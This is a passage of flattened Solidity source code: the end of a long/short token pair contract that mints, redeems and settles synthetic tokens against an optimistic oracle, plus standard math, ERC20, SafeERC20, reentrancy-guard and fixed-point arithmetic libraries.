require(params.collateralPerPair > 0, "Collateral per pair cannot be 0");
require(_getIdentifierWhitelist().isIdentifierSupported(params.priceIdentifier), "Identifier not registered");
require(address(_getOptimisticOracle()) != address(0), "Invalid finder");
require(address(params.financialProductLibrary) != address(0), "Invalid FinancialProductLibrary");
require(_getCollateralWhitelist().isOnWhitelist(address(params.collateralToken)), "Collateral not whitelisted");
require(params.optimisticOracleLivenessTime > 0, "OO liveness cannot be 0");
require(params.optimisticOracleLivenessTime < 5200 weeks, "OO liveness too large");
pairName = params.pairName;
expirationTimestamp = params.expirationTimestamp;
collateralPerPair = params.collateralPerPair;
priceIdentifier = params.priceIdentifier;
longToken = params.longToken;
shortToken = params.shortToken;
collateralToken = params.collateralToken;
financialProductLibrary = params.financialProductLibrary;
OptimisticOracleInterface optimisticOracle = _getOptimisticOracle();
require(
optimisticOracle.stampAncillaryData(params.customAncillaryData, address(this)).length <=
optimisticOracle.ancillaryBytesLimit(),
"Ancillary Data too long"
);
customAncillaryData = params.customAncillaryData;
prepaidProposerReward = params.prepaidProposerReward;
optimisticOracleLivenessTime = params.optimisticOracleLivenessTime;
optimisticOracleProposerBond = params.optimisticOracleProposerBond;
}
/****************************************
* POSITION FUNCTIONS *
****************************************/
/**
* @notice Creates a pair of long and short tokens equal in number to tokensToCreate. Pulls the required collateral
* amount into this contract, defined by the collateralPerPair value.
* @dev The caller must approve this contract to transfer `tokensToCreate * collateralPerPair` amount of collateral.
* @param tokensToCreate number of long and short synthetic tokens to create.
* @return collateralUsed total collateral used to mint the synthetics.
*/
function create(uint256 tokensToCreate) public preExpiration() nonReentrant() returns (uint256 collateralUsed) {
// Note the use of mulCeil to prevent small collateralPerPair causing rounding of collateralUsed to 0 enabling
// callers to mint dust LSP tokens without paying any collateral.
collateralUsed = FixedPoint.Unsigned(tokensToCreate).mulCeil(FixedPoint.Unsigned(collateralPerPair)).rawValue;
collateralToken.safeTransferFrom(msg.sender, address(this), collateralUsed);
require(longToken.mint(msg.sender, tokensToCreate));
require(shortToken.mint(msg.sender, tokensToCreate));
emit TokensCreated(msg.sender, collateralUsed, tokensToCreate);
}
/**
* @notice Redeems a pair of long and short tokens equal in number to tokensToRedeem. Returns the commensurate
* amount of collateral to the caller for the pair of tokens, defined by the collateralPerPair value.
* @dev This contract must have the `Burner` role for the `longToken` and `shortToken` in order to call `burnFrom`.
* @dev The caller does not need to approve this contract to transfer any amount of `tokensToRedeem` since long
* and short tokens are burned, rather than transferred, from the caller.
* @param tokensToRedeem number of long and short synthetic tokens to redeem.
* @return collateralReturned total collateral returned in exchange for the pair of synthetics.
*/
function redeem(uint256 tokensToRedeem) public nonReentrant() returns (uint256 collateralReturned) {
require(longToken.burnFrom(msg.sender, tokensToRedeem));
require(shortToken.burnFrom(msg.sender, tokensToRedeem));
collateralReturned = FixedPoint.Unsigned(tokensToRedeem).mul(FixedPoint.Unsigned(collateralPerPair)).rawValue;
collateralToken.safeTransfer(msg.sender, collateralReturned);
emit TokensRedeemed(msg.sender, collateralReturned, tokensToRedeem);
}
/**
* @notice Settle long and/or short tokens in for collateral at a rate informed by the contract settlement.
* @dev Uses financialProductLibrary to compute the redemption rate between long and short tokens.
* @dev This contract must have the `Burner` role for the `longToken` and `shortToken` in order to call `burnFrom`.
* @dev The caller does not need to approve this contract to transfer any amount of `tokensToRedeem` since long
* and short tokens are burned, rather than transferred, from the caller.
* @param longTokensToRedeem number of long tokens to settle.
* @param shortTokensToRedeem number of short tokens to settle.
* @return collateralReturned total collateral returned in exchange for the pair of synthetics.
*/
function settle(uint256 longTokensToRedeem, uint256 shortTokensToRedeem)
public
postExpiration()
nonReentrant()
returns (uint256 collateralReturned)
{
// If the contract state is open and postExpiration passed then `expire()` has not yet been called.
require(contractState != ContractState.Open, "Unexpired contract");
// Get the current settlement price and store it. If it is not resolved, will revert.
if (contractState != ContractState.ExpiredPriceReceived) {
expiryPrice = _getOraclePriceExpiration(expirationTimestamp);
// Cap the return value at 1.
expiryPercentLong = Math.min(
financialProductLibrary.percentageLongCollateralAtExpiry(expiryPrice),
FixedPoint.fromUnscaledUint(1).rawValue
);
contractState = ContractState.ExpiredPriceReceived;
}
require(longToken.burnFrom(msg.sender, longTokensToRedeem));
require(shortToken.burnFrom(msg.sender, shortTokensToRedeem));
// expiryPercentLong is a number between 0 and 1e18. 0 means all collateral goes to short tokens and 1e18 means
// all collateral goes to the long token. Total collateral returned is the sum of payouts.
uint256 longCollateralRedeemed =
FixedPoint
.Unsigned(longTokensToRedeem)
.mul(FixedPoint.Unsigned(collateralPerPair))
.mul(FixedPoint.Unsigned(expiryPercentLong))
.rawValue;
uint256 shortCollateralRedeemed =
FixedPoint
.Unsigned(shortTokensToRedeem)
.mul(FixedPoint.Unsigned(collateralPerPair))
.mul(FixedPoint.fromUnscaledUint(1).sub(FixedPoint.Unsigned(expiryPercentLong)))
.rawValue;
collateralReturned = longCollateralRedeemed + shortCollateralRedeemed;
collateralToken.safeTransfer(msg.sender, collateralReturned);
emit PositionSettled(msg.sender, collateralReturned, longTokensToRedeem, shortTokensToRedeem);
}
/****************************************
* GLOBAL STATE FUNCTIONS *
****************************************/
function expire() public postExpiration() onlyOpenState() nonReentrant() {
_requestOraclePriceExpiration();
contractState = ContractState.ExpiredPriceRequested;
emit ContractExpired(msg.sender);
}
/****************************************
* GLOBAL ACCESSORS FUNCTIONS *
****************************************/
/**
* @notice Returns the number of long and short tokens a sponsor wallet holds.
* @param sponsor address of the sponsor to query.
* @return [uint256, uint256]. First is long tokens held by sponsor and second is short tokens held by sponsor.
*/
function getPositionTokens(address sponsor) public view nonReentrantView() returns (uint256, uint256) {
return (longToken.balanceOf(sponsor), shortToken.balanceOf(sponsor));
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
function _getOraclePriceExpiration(uint256 requestedTime) internal returns (int256) {
// Create an instance of the oracle and get the price. If the price is not resolved revert.
OptimisticOracleInterface optimisticOracle = _getOptimisticOracle();
require(optimisticOracle.hasPrice(address(this), priceIdentifier, requestedTime, customAncillaryData));
int256 oraclePrice = optimisticOracle.settleAndGetPrice(priceIdentifier, requestedTime, customAncillaryData);
return oraclePrice;
}
function _requestOraclePriceExpiration() internal {
OptimisticOracleInterface optimisticOracle = _getOptimisticOracle();
// Use the prepaidProposerReward as the proposer reward.
if (prepaidProposerReward > 0) collateralToken.safeApprove(address(optimisticOracle), prepaidProposerReward);
optimisticOracle.requestPrice(
priceIdentifier,
expirationTimestamp,
customAncillaryData,
collateralToken,
prepaidProposerReward
);
// Set the Optimistic oracle liveness for the price request.
optimisticOracle.setCustomLiveness(
priceIdentifier,
expirationTimestamp,
customAncillaryData,
optimisticOracleLivenessTime
);
// Set the Optimistic oracle proposer bond for the price request.
optimisticOracle.setBond(
priceIdentifier,
expirationTimestamp,
customAncillaryData,
optimisticOracleProposerBond
);
}
function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
function _getCollateralWhitelist() internal view returns (AddressWhitelistInterface) {
return AddressWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.CollateralWhitelist));
}
function _getOptimisticOracle() internal view returns (OptimisticOracleInterface) {
return OptimisticOracleInterface(finder.getImplementationAddress(OracleInterfaces.OptimisticOracle));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
import "../../../../common/implementation/FixedPoint.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
interface ExpiringContractInterface {
function expirationTimestamp() external view returns (uint256);
}
abstract contract LongShortPairFinancialProductLibrary {
function percentageLongCollateralAtExpiry(int256 expiryPrice) public view virtual returns (uint256);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
import "./Timer.sol";
/**
* @title Base class that provides time overrides, but only if being run in test mode.
*/
abstract contract Testable {
// If the contract is being run in production, then `timerAddress` will be the 0x0 address.
// Note: this variable should be set on construction and never modified.
address public timerAddress;
/**
* @notice Constructs the Testable contract. Called by child contracts.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(address _timerAddress) {
timerAddress = _timerAddress;
}
/**
* @notice Reverts if not running in test mode.
*/
modifier onlyIfTest {
require(timerAddress != address(0x0));
_;
}
/**
* @notice Sets the current time.
* @dev Will revert if not running in test mode.
* @param time timestamp to set current Testable time to.
*/
function setCurrentTime(uint256 time) external onlyIfTest {
Timer(timerAddress).setCurrentTime(time);
}
/**
* @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode.
* Otherwise, it will return the block timestamp.
* @return uint for the current Testable timestamp.
*/
function getCurrentTime() public view returns (uint256) {
if (timerAddress != address(0x0)) {
return Timer(timerAddress).getCurrentTime();
} else {
return block.timestamp; // solhint-disable-line not-rely-on-time
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
/**
* @title A contract that provides modifiers to prevent reentrancy to state-changing and view-only methods. This contract
* is inspired by https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol
* and https://github.com/balancer-labs/balancer-core/blob/master/contracts/BPool.sol.
*/
contract Lockable {
bool private _notEntered;
constructor() {
// Storing an initial non-zero value makes deployment a bit more expensive, but in exchange the refund on every
// call to nonReentrant will be lower in amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to increase the likelihood of the full
// refund coming into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant` function is not supported. It is possible to
* prevent this from happening by making the `nonReentrant` function external, and making it call a `private`
* function that does the actual state modification.
*/
modifier nonReentrant() {
_preEntranceCheck();
_preEntranceSet();
_;
_postEntranceReset();
}
/**
* @dev Designed to prevent a view-only method from being re-entered during a call to a `nonReentrant()` state-changing method.
*/
modifier nonReentrantView() {
_preEntranceCheck();
_;
}
// Internal methods are used to avoid copying the require statement's bytecode to every `nonReentrant()` method.
// On entry into a function, `_preEntranceCheck()` should always be called to check if the function is being
// re-entered. Then, if the function modifies state, it should call `_postEntranceSet()`, perform its logic, and
// then call `_postEntranceReset()`.
// View-only methods can simply call `_preEntranceCheck()` to make sure that it is not being re-entered.
function _preEntranceCheck() internal view {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
}
function _preEntranceSet() internal {
// Any calls to nonReentrant after this point will fail
_notEntered = false;
}
function _postEntranceReset() internal {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/math/SignedSafeMath.sol";
/**
* @title Library for fixed point arithmetic on uints
*/
library FixedPoint {
using SafeMath for uint256;
using SignedSafeMath for int256;
// Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5".
// For unsigned values:
// This can represent a value up to (2^256 - 1)/10^18 = ~10^59. 10^59 will be stored internally as uint256 10^77.
uint256 private constant FP_SCALING_FACTOR = 10**18;
// --------------------------------------- UNSIGNED -----------------------------------------------------------------------------
struct Unsigned {
uint256 rawValue;
}
/**
* @notice Constructs an `Unsigned` from an unscaled uint, e.g., `b=5` gets stored internally as `5*(10**18)`.
* @param a uint to convert into a FixedPoint.
* @return the converted FixedPoint.
*/
function fromUnscaledUint(uint256 a) internal pure returns (Unsigned memory) {
return Unsigned(a.mul(FP_SCALING_FACTOR));
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if equal, or False.
*/
function isEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue == fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if equal, or False.
*/
function isEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue == b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue > fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a > b`, or False.
*/
function isGreaterThan(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue >= fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a < b`, or False.
*/
function isLessThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a < b`, or False.
*/
function isLessThan(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue < fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a < b`, or False.
*/
function isLessThan(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue <= b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue <= fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue <= b.rawValue;
}
/**
* @notice The minimum of `a` and `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the minimum of `a` and `b`.
*/
function min(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return a.rawValue < b.rawValue ? a : b;
}
/**
* @notice The maximum of `a` and `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the maximum of `a` and `b`.
*/
function max(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return a.rawValue > b.rawValue ? a : b;
}
/**
* @notice Adds two `Unsigned`s, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the sum of `a` and `b`.
*/
function add(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.add(b.rawValue));
}
/**
* @notice Adds an `Unsigned` to an unscaled uint, reverting on overflow.
* @param a a FixedPoint.
* @param b a uint256.
* @return the sum of `a` and `b`.
*/
function add(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return add(a, fromUnscaledUint(b));
}
/**
* @notice Subtracts two `Unsigned`s, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the difference of `a` and `b`.
*/
function sub(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.sub(b.rawValue));
}
/**
* @notice Subtracts an unscaled uint256 from an `Unsigned`, reverting on overflow.
* @param a a FixedPoint.
* @param b a uint256.
* @return the difference of `a` and `b`.
*/
function sub(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return sub(a, fromUnscaledUint(b));
}
/**
* @notice Subtracts an `Unsigned` from an unscaled uint256, reverting on overflow.
* @param a a uint256.
* @param b a FixedPoint.
* @return the difference of `a` and `b`.
*/
function sub(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) {
return sub(fromUnscaledUint(a), b);
}
/**
* @notice Multiplies two `Unsigned`s, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mul(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
// There are two caveats with this computation:
// 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is
// stored internally as a uint256 ~10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which
// would round to 3, but this computation produces the result 2.
// No need to use SafeMath because FP_SCALING_FACTOR != 0.
return Unsigned(a.rawValue.mul(b.rawValue) / FP_SCALING_FACTOR);
}
/**
* @notice Multiplies an `Unsigned` and an unscaled uint256, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.
* @param b a uint256.
* @return the product of `a` and `b`.
*/
function mul(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.mul(b));
}
/**
* @notice Multiplies two `Unsigned`s and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mulCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
uint256 mulRaw = a.rawValue.mul(b.rawValue);
uint256 mulFloor = mulRaw / FP_SCALING_FACTOR;
uint256 mod = mulRaw.mod(FP_SCALING_FACTOR);
if (mod != 0) {
return Unsigned(mulFloor.add(1));
} else {
return Unsigned(mulFloor);
}
}
/**
* @notice Multiplies an `Unsigned` and an unscaled uint256 and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mulCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
// Since b is an int, there is no risk of truncation and we can just mul it normally
return Unsigned(a.rawValue.mul(b));
}
/**
* @notice Divides one `Unsigned` by an `Unsigned`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
// There are two caveats with this computation:
// 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows.
// 10^41 is stored internally as a uint256 10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which
// would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666.
return Unsigned(a.rawValue.mul(FP_SCALING_FACTOR).div(b.rawValue));
}
/**
* @notice Divides one `Unsigned` by an unscaled uint256, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.div(b));
}
/**
* @notice Divides one unscaled uint256 by an `Unsigned`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a uint256 numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) {
return div(fromUnscaledUint(a), b);
}
/**
* @notice Divides one `Unsigned` by an `Unsigned` and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function divCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
uint256 aScaled = a.rawValue.mul(FP_SCALING_FACTOR);
uint256 divFloor = aScaled.div(b.rawValue);
uint256 mod = aScaled.mod(b.rawValue);
if (mod != 0) {
return Unsigned(divFloor.add(1));
} else {
return Unsigned(divFloor);
}
}
/**
* @notice Divides one `Unsigned` by an unscaled uint256 and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function divCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
// Because it is possible that a quotient gets truncated, we can't just call "Unsigned(a.rawValue.div(b))"
// similarly to mulCeil with a uint256 as the second parameter. Therefore we need to convert b into an Unsigned.
// This creates the possibility of overflow if b is very large.
return divCeil(a, fromUnscaledUint(b));
}
/**
* @notice Raises an `Unsigned` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`.
* @dev This will "floor" the result.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return output is `a` to the power of `b`.
*/
function pow(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory output) {
output = fromUnscaledUint(1);
for (uint256 i = 0; i < b; i = i.add(1)) {
output = mul(output, a);
}
}
// ------------------------------------------------- SIGNED -------------------------------------------------------------
// Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5".
// For signed values:
// This can represent a value up (or down) to +-(2^255 - 1)/10^18 = ~10^58. 10^58 will be stored internally as int256 10^76.
int256 private constant SFP_SCALING_FACTOR = 10**18;
struct Signed {
int256 rawValue;
}
function fromSigned(Signed memory a) internal pure returns (Unsigned memory) {
require(a.rawValue >= 0, "Negative value provided");
return Unsigned(uint256(a.rawValue));
}
function fromUnsigned(Unsigned memory a) internal pure returns (Signed memory) {
require(a.rawValue <= uint256(type(int256).max), "Unsigned too large");
return Signed(int256(a.rawValue));
}
/**
* @notice Constructs a `Signed` from an unscaled int, e.g., `b=5` gets stored internally as `5*(10**18)`.
* @param a int to convert into a FixedPoint.Signed.
* @return the converted FixedPoint.Signed.
*/
function fromUnscaledInt(int256 a) internal pure returns (Signed memory) {
return Signed(a.mul(SFP_SCALING_FACTOR));
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a int256.
* @return True if equal, or False.
*/
function isEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue == fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if equal, or False.
*/
function isEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue == b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue > fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a > b`, or False.
*/
function isGreaterThan(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue >= fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a >= b`, or False.
*/
